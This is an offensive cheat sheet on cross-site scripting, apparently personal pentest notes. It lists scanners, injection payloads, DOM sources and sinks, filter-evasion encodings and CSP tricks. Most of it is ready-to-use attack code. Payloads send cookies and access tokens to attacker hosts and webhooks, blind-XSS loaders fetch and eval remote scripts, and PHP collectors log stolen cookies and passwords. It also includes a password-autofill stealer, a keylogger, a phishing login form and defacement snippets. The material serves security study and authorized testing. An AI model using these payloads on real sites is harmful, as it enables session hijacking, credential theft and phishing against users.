---
description: Cross Site Scripting.
---

# XSS

Occurs when incorrectly programmed input can be used to insert HTML or execute code (JavaScript) in a user's web browser.

**Types**:

* Reflected
* Stored
* DOM-based
* Blind

**Steps**:

* Search for inputs that are displayed
* Understand type and if it is `TAG` or `ATTRIBUTE` XSS
* Try special characters: `<` `>` `‘` `“` `{` `}` `;`&#x20;
* Try evasion techniques&#x20;
* Exploitation (choosing attack type)

## Tools

<table><thead><tr><th width="162">Tool</th><th>Details</th></tr></thead><tbody><tr><td><a href="https://github.com/s0md3v/XSStrike">xsstrike</a></td><td>XSS scanner.<br><code>xsstrike -u "&#x3C;URL>" --crawl -l 4</code> <em>(crawling)</em> <br><code>xsstrike -u "&#x3C;URL>?q=query"</code> <em>(GET)</em> <br><code>xsstrike -u "&#x3C;URL>" --data "q=query"</code> <em>(POST)</em> <br><code>xsstrike -u "&#x3C;URL>" —fuzzer</code> <em>(filters and WAF detect)</em></td></tr><tr><td><a href="https://github.com/epsylon/xsser">xsser</a></td><td>An automatic framework to detect, exploit and report XSS vulnerabilities.<br><code>xsser --wizard</code> <em>(guided start)</em><br><code>xsser --gtk</code> <em>(GUI)</em></td></tr><tr><td><a href="https://github.com/beefproject/beef">BeEF</a></td><td>Very powerful combined with XSS vulnerability. BeEF is able to provide a URL that if opened by the victim is able to establish a link (HOOK).<br>Edit <code>/etc/beef-xss/config.yaml</code> or <code>beef/config.yaml</code></td></tr></tbody></table>

## [Payload](https://portswigger.net/web-security/cross-site-scripting/cheat-sheet)

Be careful and try with quote and tag injection to escape the syntax.

{% code overflow="wrap" %}
```
k"><svg/onload=alert(1)><!--  
k'><svg/onload=alert(1)><!--
k";alert(1);
```
{% endcode %}

### XSS

{% code overflow="wrap" %}
```javascript
print()
alert(1)
javascript:alert(1)
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
location.href='http://<IP>?log='+document.cookie;
document.location='http://<IP>?log='+document.cookie;
window.location='http://<IP>?log='+document.cookie;
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
var i=new Image();i.src="http://<IP>?log="+document.cookie;
new Image().src="http://<IP>?log="+document.cookie;
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
(async () => {let x = await fetch("/api/target").then(res => res.text()); window.location="https://webhook.site/"+btoa(x)})()
```
{% endcode %}

It is essential to repair the script following the XSS context, because any syntax errors there will prevent the whole script from executing.

### Trigger

{% code overflow="wrap" %}
```html
<script>XSS<script>
```
{% endcode %}

<pre class="language-html" data-overflow="wrap"><code class="lang-html">&#x3C;img src=x onerror=XSS> 
&#x3C;svg onload=XSS>
<strong>&#x3C;!-- Other tags like &#x3C;body> &#x3C;iframe>, and other events etc. -->
</strong></code></pre>

{% code overflow="wrap" %}
```html
<object data="data:text/html,<script>XSS</script>">
<object data= "data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">
<!-- Even with <embed src=...> -->
```
{% endcode %}

{% code overflow="wrap" %}
```html
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
```
{% endcode %}

### Sources

{% code overflow="wrap" %}
```
document.URL
document.documentURI
document.URLUnencoded
document.baseURI
location
document.cookie
document.referrer
window.name
history.pushState
history.replaceState
localStorage
sessionStorage
IndexedDB (mozIndexedDB, webkitIndexedDB, msIndexedDB)
Database
```
{% endcode %}

### Sinks

{% tabs %}
{% tab title="Open Redirect" %}
[**URL Validation Bypass**](https://portswigger.net/web-security/ssrf/url-validation-bypass-cheat-sheet)

```javascript
location
location.host
location.hostname
location.href
location.pathname
location.search
location.protocol
location.assign()
location.replace()
open()
element.srcdoc
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.ajax()
$.ajax()
```
{% endtab %}

{% tab title="Injection" %}
#### JavaScript injection

```javascript
eval()
Function()
setTimeout()
setInterval()
setImmediate()
execCommand()
execScript()
msSetImmediate()
range.createContextualFragment()
crypto.generateCRMFRequest()
```

#### Client-side SQL injection

```javascript
executeSql()
```

#### XPath injection

```javascript
document.evaluate()
element.evaluate()
```

#### Client-side JSON injection

```javascript
JSON.parse()
jQuery.parseJSON()
$.parseJSON()
```


{% endtab %}

{% tab title="Manipulation" %}
#### Cookie manipulation

```javascript
document.cookie
```

#### Document-domain manipulation

```javascript
document.domain
```

#### Link manipulation

```javascript
element.href
element.src
element.action
```

#### Web message manipulation

```javascript
postMessage()
```

{% code overflow="wrap" %}
```javascript
window.addEventListener('message', function(e) {
  eval(e.data);
});
```
{% endcode %}

{% code overflow="wrap" %}
```html
<iframe src="//vulnerable-website" onload="this.contentWindow.postMessage('javascript:print()','*')">
```
{% endcode %}

#### Ajax request-header manipulation

```javascript
XMLHttpRequest.setRequestHeader()
XMLHttpRequest.open()
XMLHttpRequest.send()
jQuery.globalEval()
$.globalEval()
```

#### Local file-path manipulation

```javascript
FileReader.readAsArrayBuffer()
FileReader.readAsBinaryString()
FileReader.readAsDataURL()
FileReader.readAsText()
FileReader.readAsFile()
FileReader.root.getFile()
```

#### HTML5-storage manipulation

```javascript
sessionStorage.setItem()
localStorage.setItem()
```

#### DOM-data manipulation

```javascript
script.src
script.text
script.textContent
script.innerText
element.setAttribute()
element.search
element.text
element.textContent
element.innerText
element.outerText
element.value
element.name
element.target
element.method
element.type
element.backgroundImage
element.cssText
element.codebase
document.title
document.implementation.createHTMLDocument()
history.pushState()
history.replaceState()
```

#### Denial of Service

```javascript
requestFileSystem()
RegExp()
```
{% endtab %}

{% tab title="DOM clobbering" %}
Dangerous pattern containing the logical `OR` operator in conjunction with a global variable.

{% code overflow="wrap" %}
```javascript
var someObject = window.someObject || {};
```
{% endcode %}

Try to inject the following HTML to clobber the `someObject` reference with an anchor element

<pre class="language-html" data-overflow="wrap"><code class="lang-html"><strong>&#x3C;a id=someObject>&#x3C;a id=someObject name=url href=malicious-content-in-url>
</strong></code></pre>

ex.

{% code overflow="wrap" %}
```html
<script>
    window.onload = function(){
        let someObject = window.someObject || {};
        let script = document.createElement('script');
        script.src = someObject.url;
        document.body.appendChild(script);
    };
</script>
```
{% endcode %}
{% endtab %}

{% tab title="Other" %}
#### WebSocket-URL poisoning

```javascript
WebSocket()
```
{% endtab %}
{% endtabs %}

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript"><strong>// Object.Array.Function(XSS Vector)
</strong><strong>// Instead of [] you can use: “” ''
</strong>// Instead of constructor also: map at
// In the first version in both positions (with alert(1))
// In the second only in the first constructor (with 'alert(1)')

<strong>[].constructor.constructor(alert(1))
</strong>[].constructor.constructor('alert(1)')()
''.at.at(alert(1))
''.at.constructor('alert(1)')()
</code></pre>

{% code overflow="wrap" %}
```javascript
[]['map']['map'](alert(1))
[]['map']['constructor']('alert(1)')()
// in this way I can use encoding
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
window[alert(1)]
window[’alert’](1)
// Instead of window also: this, top, globalThis
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
eval.call`${"alert(1)"}`
```
{% endcode %}

## Extra

```html
<iframe src=my-account onload=this.contentDocument.forms[1].submit()>
```

{% code overflow="wrap" %}
```javascript
let A = `ABCD ${alert()}`
```
{% endcode %}

{% code overflow="wrap" %}
```url
http://xss_site/search?fetch(`http://<MY_IP>/?log=${document.cookie}`)//&q=<script>eval(location.search.slice(1))</script>
```
{% endcode %}

{% code overflow="wrap" %}
```uri
http://xss_site/search?q=<script>eval(location.href.slice(115))</script>&;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;window.location=`http://<MY_IP>/log=`+document.cookie;
```
{% endcode %}

Trigger action without user interaction

{% code overflow="wrap" %}
```html
<iframe src="https://vulnerable-website.com/?search=%22%3E%3Cbody%20onresize=print()%3E" onload="this.style.width='100px'">
```
{% endcode %}

{% code overflow="wrap" %}
```html
<iframe src="https://vulnerable-website.com#" onload="this.src+='<img src=1 onerror=alert(1)>'">
```
{% endcode %}

{% code overflow="wrap" %}
```html
<iframe src="https://vulnerable-website.com" onload="if(!window.x)this.src='https://vulnerable-website.com';window.x=1;">
```
{% endcode %}

SVG change attribute

{% code overflow="wrap" %}
```html
<svg><text><a><animate attributeName=href values=javascript:alert(1) />Click me</a></text></svg>
```
{% endcode %}

Autofocus

```html
autofocus onfocus=alert(document.domain)
```

Key user interaction (no space)

```html
'accesskey='X'onclick='alert(1)
# (ALT+SHIFT+X on Windows) (CTRL+ALT+X on OS X)
```

Script tag _(the browser first performs HTML parsing to identify the page elements including blocks of script, and only later performs JavaScript parsing to understand and execute the embedded scripts)_

```html
<script>
...
var input = '</script><img src=1 onerror=alert(document.domain)>';
...
</script>
```

{% code overflow="wrap" %}
```javascript
onerror=alert;throw 1
{onerror=alert}throw 1
throw onerror=alert,'some string',123,'aaaa' 
// Chrome prefixes the string sent to the exception handler with "Uncaught"
// On Firefox the exception gets prefixed with a two word string "uncaught exception"
{onerror=eval}throw'=alert\x281337\x29' // Uncaught=alert(1337)
{onerror=eval}throw{lineNumber:1,columnNumber:1,fileName:1,message:'alert\x281\x29'} // Firefox
{onerror=prompt}throw{lineNumber:1,columnNumber:1,fileName:'second argument',message:'first argument'}
throw/a/,Uncaught=1,g=alert,a=URL+0,onerror=eval,/1/g+a[12]+[1337]+a[13]
TypeError.prototype.name ='=/',0[onerror=eval]['/-alert(1)//']
```
{% endcode %}

Param in function

{% code overflow="wrap" %}
```javascript
FUNCTION(PARAM1,x=x=>{throw/**/onerror=alert,123456789},toString=x``,window+'',PARAM2)
```
{% endcode %}

csrf

```javascript
function handleResponse() {
    var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
    ...
}
```

### Dangling Markup

<mark style="color:green;">`<form class="login-form" name="change-email-form" action="/my-account/change-email" method="POST">`</mark>\
&#x20;  <mark style="color:green;">`<label>Email</label>`</mark>\
&#x20;  <mark style="color:green;">`<input required="" type="email" value="`</mark><mark style="color:red;">`x">`</mark>\ <mark style="color:red;">`</form>`</mark>\ <mark style="color:red;">`<form class="login-form" name="my-form" action="https://webhook/" method="GET">`</mark>\
&#x20;  <mark style="color:red;">`<button class="button" type="submit">CLICK</button`</mark><mark style="color:green;">`">`</mark>\ <mark style="color:green;">`<input required type="hidden" name="csrf" value="[value]">`</mark>

The csrf will be sent in the GET.

***

{% code overflow="wrap" %}
```javascript
<script>
if(window.name) {
		new Image().src='//WEBHOOK?'+encodeURIComponent(window.name);
		} else {
     			location = 'https://vuln-website?vulnparam=%22%3E%3Ca%20href=%22https://WEBHOOK/%22%3EClick%20me%3C/a%3E%3Cbase%20target=%27';
}
</script>
```
{% endcode %}

{% code overflow="wrap" %}
```
"><a href="https://WEBHOOK/">Click me</a><base target='
```
{% endcode %}

## Obfuscation and Escape

{% code overflow="wrap" %}
```html
<svg/onload=alert(1)>
```
{% endcode %}

{% code overflow="wrap" %}
```html
<svg onload=alert`1`>
```
{% endcode %}

<pre class="language-javascript"><code class="lang-javascript">// Use with &#x3C;svg> tag (no CDATA, it is based on XML and does the encoding)
// They usually work in “” and ‘’.

<strong>\u0061lert(1)   // Unicode
</strong>&#x26;#x61;lert(1)   // Hexadecimal NCR 
&#x26;#97;lert(1)    // Decimal NCR 
\141lert(1)     // Octal 
\x61lert(1)     // Hexadecimal
</code></pre>

{% code overflow="wrap" %}
```javascript
// Apply encoding
unescape()
decodeURI()
decodeURIComponent()
```
{% endcode %}

```javascript
let/**/a/**/=/**/1234;
```

<pre class="language-javascript" data-overflow="wrap"><code class="lang-javascript">alert(String.fromCharCode(88,83,83))
<strong>// https://www.ascii-code.com/
</strong></code></pre>

{% code overflow="wrap" %}
```javascript
17795081..toString(36)+”(1)” // Only letters and numbers, no characters
// in Python: Int(”<STR>”, 36)
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
/ale/.source+/rt(1)/.source
// /<STRING>/.source, it is possible to use spaces etc. between / and /
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
atob("YWxlcnQoMSk=") // base64
```
{% endcode %}

* [JSFuck](https://jsfuck.com/)
* [JJencode](https://utf-8.jp/public/jjencode.html)
* [AAencode](https://utf-8.jp/public/aaencode.html)

## Blind XSS

It occurs when the XSS vulnerability is triggered on a page we do not have access to. This means that we will not see how our input will be handled or how it will appear in the browser.

{% code overflow="wrap" %}
```html
<script src="http://<OUR_IP>/jscript.js"></script>
```
{% endcode %}

{% code overflow="wrap" %}
```javascript
javascript:eval('var a=document.createElement(\'script\');a.src=\'http://<OUR_IP>/jscript.js\';document.body.appendChild(a)')
```
{% endcode %}

{% code overflow="wrap" %}
```html
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//<OUR_IP>/jscript.js");a.send();</script>
```
{% endcode %}

```html
<script>$.getScript("http://<OUR_IP>/jscript.js")</script>
```

Having on your own server

{% code title="jscript.js" overflow="wrap" %}
```javascript
document.location="http://<IP>?log="+document.cookie
```
{% endcode %}

## Types of attacks

### Cookie Stealing

The goal is to steal the session cookie. Once you get the session cookie you can use it and enter it into your browser to access the victim's session.

{% code overflow="wrap" %}
```html
<script>location.href='http://<MY_IP>?data='+document.cookie</script>
```
{% endcode %}

{% code overflow="wrap" %}
```html
<script>document.location='http://<MY_IP>?data='+document.cookie</script>
<script>document.location='http://<MY_IP>?data='+localStorage.getItem('access_token')</script>
```
{% endcode %}

{% code overflow="wrap" %}
```html
<script>new Image().src="http://<MY_IP>?data="+document.cookie;</script>
<script>new Image().src="http://<MY_IP>?data="+localStorage.getItem('access_token');</script>
```
{% endcode %}

To organize cookies, on your server:

{% code overflow="wrap" %}
```bash
sudo php -S 0.0.0.0:80
```
{% endcode %}

<pre class="language-php" data-title="index.php" data-overflow="wrap"><code class="lang-php">&#x3C;?php
<strong>    $cookie = $_GET['data'];
</strong><strong>    $file = fopen('cookies.txt', 'a+');
</strong>    fwrite($file, 'Cookie:'.$cookie."\r\n");
    fclose($file);
?>
</code></pre>

{% code title="index.php" overflow="wrap" %}
```php
<?php
if (isset($_GET['c'])) {
    $list = explode(";", $_GET['c']);
    foreach ($list as $key => $value) {
        $cookie = urldecode($value);
        $file = fopen("cookies.txt", "a+");
        fputs($file, "Victim IP: {$_SERVER['REMOTE_ADDR']} | Cookie: {$cookie}\n");
        fclose($file);
    }
}
?>
```
{% endcode %}

csrf

{% code overflow="wrap" %}
```html
<script>
window.addEventListener('DOMContentLoaded', function() {

var token = document.getElementsByName('csrf')[0].value
var data = new FormData();

data.append('csrf', token);
data.append('postId', 8);
data.append('comment', document.cookie);

fetch('/post/comment', {
    method: 'POST',
    mode: 'no-cors',
    body: data
});

});
</script>
```
{% endcode %}

### Capture Passwords

These days, many users have password managers that auto-fill their passwords. You can take advantage of this by creating a password input, reading out the auto-filled password, and sending it to your own domain.

{% code overflow="wrap" %}
```html
<input required="" type="username" name="username" autofocus="">
<input required="" type="password" name="password" onchange="if(this.value.length)fetch('https://bobby.free.beeceptor.com',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
```
{% endcode %}

csrf

{% code overflow="wrap" %}
```html
<input type="text" name="username">
<input type="password" name="password" onchange="dothis()">

<script>
    function dothis() {
    var username = document.getElementsByName('username')[0].value
    var password = document.getElementsByName('password')[0].value
    var token = document.getElementsByName('csrf')[0].value
    var data = new FormData();

    data.append('csrf', token);
    data.append('postId', 8); 
    data.append('comment', `${username}:${password}`);

    fetch('/post/comment', {
        method: 'POST',
        mode: 'no-cors',
        body: data
    });
    };
</script>
```
{% endcode %}

### Defacing

Change the appearance of the web page.\
This is done through JavaScript functions; the same elements can be written differently and perhaps more compactly with jQuery if present.

<table data-header-hidden><thead><tr><th width="211"></th><th width="234"></th><th></th></tr></thead><tbody><tr><td>Adds HTML elements</td><td><code>document.write()</code></td><td>JQuery: <code>add()</code>, <code>after()</code>, <code>append()</code></td></tr><tr><td>Background color</td><td><code>document.body.style.background</code></td><td><code>document.body.style.background = "#141d2b"</code> <br><code>document.body.style.background = "black"</code></td></tr><tr><td>Background with image</td><td><code>document.body.background</code></td><td><code>document.body.background = "&#x3C;https://www.hackthebox.eu/images/logo-htb.svg>"</code></td></tr><tr><td>Page title</td><td><code>document.title</code></td><td><code>document.title = 'HackTheBox Academy'</code></td></tr><tr><td>Page elements</td><td><code>DOM.innerHTML</code> <br><code>DOM.outerHTML</code></td><td><code>document.getElementById("todo").innerHTML = "New Text"</code> <br><code>document.getElementsByTagName('body')[0].innerHTML = "New Text"</code> <br><em>(change the first body, usually the only one)</em></td></tr><tr><td>Removing elements</td><td><code>DOM.remove()</code></td><td><code>document.getElementById("todo").remove()</code></td></tr></tbody></table>

es.

{% code overflow="wrap" %}
```html
<script>document.body.style.background="black";document.title="Pwn!";document.getElementsByTagName('body')[0].innerHTML='<center><h1 style="color: white">Cyber Security Training</h1><p style="color: white">by <img src="https://academy.hackthebox.com/images/logo-htb.svg" height="25px" alt="HTB Academy"> </p></center>'</script>
```
{% endcode %}

### Phishing

Through XSS, it is possible to insert self-created login forms inside trusted pages, making them very dangerous.

```html
<h3>Please login to continue</h3>
<form action=http://OUR_IP>
	<input type="username" name="username" placeholder="Username">
	<input type="password" name="password" placeholder="Password">
	<input type="submit" name="submit" value="Login">
</form>
```

Need to edit and delete the other elements of the page, see [Defacing](#defacing).\
Convert payload to a single line with [MinifyHTML](https://codebeautify.org/minify-html) or see [Java Deobfuscation](../other/javascript-deobfuscation).

To organize requests, on your server:

{% code overflow="wrap" %}
```bash
sudo php -S 0.0.0.0:80
```
{% endcode %}

{% code title="index.php" overflow="wrap" %}
```php
<?php
if (isset($_GET['username']) && isset($_GET['password'])) {
    $file = fopen("creds.txt", "a+");
    $u = $_GET['username'];
    $p = $_GET['password'];
    fputs($file, "Username: {$u} | Password: {$p}\n"); # also fwrite()
    fclose($file);
    header("Location: http://SERVER_IP/phishing/index.php"); # <- Redirect wherever you want
    exit();
}
?>
```
{% endcode %}

### Keylogging

Getting the keys pressed by the victim.

{% code overflow="wrap" %}
```html
<img src=x onerror='document.onkeypress=function(e){fetch("http://domain.com?k="+String.fromCharCode(e.which))},this.remove();'>
```
{% endcode %}

## Content Security Policy

Browser security mechanism that aims to mitigate XSS and some other attacks.\
HTTP response header called `Content-Security-Policy` with a value containing the policy. The policy itself consists of one or more directives, separated by semicolons.

### CSP policy injection

{% code overflow="wrap" %}
```
script-src-elem 'none'; script-src-attr 'unsafe-inline'
```
{% endcode %}

"[script-src-elem](https://w3c.github.io/webappsec-csp/#directive-script-src-elem)" directive allows you to control just script blocks and was created so that you can allow event handlers but block script elements (**it will overwrite existing script-src directives!**).

```html
<img src=1 onerror=alert()>
```
